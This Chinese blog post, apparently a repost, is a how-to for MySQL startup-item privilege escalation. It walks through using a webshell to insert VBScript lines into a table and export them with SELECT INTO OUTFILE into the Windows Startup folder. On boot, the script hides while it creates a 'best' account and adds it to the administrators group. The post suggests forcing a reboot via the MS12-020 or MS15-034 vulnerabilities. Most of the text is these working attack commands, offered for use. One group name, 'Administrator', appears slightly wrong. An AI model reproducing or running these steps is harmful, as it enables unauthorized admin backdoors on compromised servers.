在第一篇：https://www.cnblogs.com/zhaoyunxiang/p/15357057.html，描述了MySQL的UDF提权，在第二篇：https://www.cnblogs.com/zhaoyunxiang/p/15357630.html，描述了MySQL的MOF提权，最后一篇，说一下MySQL数据库的启动提权，
这种提权的核心条件是当前是管理员身份，webshell也是管理员身份，不然是提权不成功的，普通用户不能来写MySQL启动项来提权，
它的实现途径是，首先使用mysql语句写一个vbs脚本，再通过webshell的MySQL写入启动项，最后配合漏洞（MS12-020、MS15-034）重启服务器，以达到提权
1.通过菜刀工具，创建一个test数据库
2.打开test数据库
3.创建一个数据表，名为a，字段为cmd text；
4.向数据表中插入数值：insert into a values("set wshshell=createobject(""wscript.shell"")");
5.继续向表中插入数值对：insert into a values("a=wshshell.run(""cmd.exe /c net user best best /add"",0)");这条语句旨在以隐藏的方式创建一个best用户
6.继续向表中插入数值对：insert into a values("b=wshshell.run(""cmd.exe /c net localgroup Administrator best /add"",0)");这条语句旨在将用户添加在管理员组
7.查看创建的a数据表：select * from a；
8.关键一步，将数据库best用户导入到启动项：select * from a into outfile "C://docume~1//administrator// [开始] 菜单//程序//启动//best.vbs";
添加完之后，开机运行之后，会自行添加一个best账户，通过此账户，可以进行数据库操作，
标签：提权,数据库,数据表,MySQL,into,best 来源： https://www.cnblogs.com/zhaoyunxiang/p/15357876.html
本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享； 2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关； 3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关； 4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除； 5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。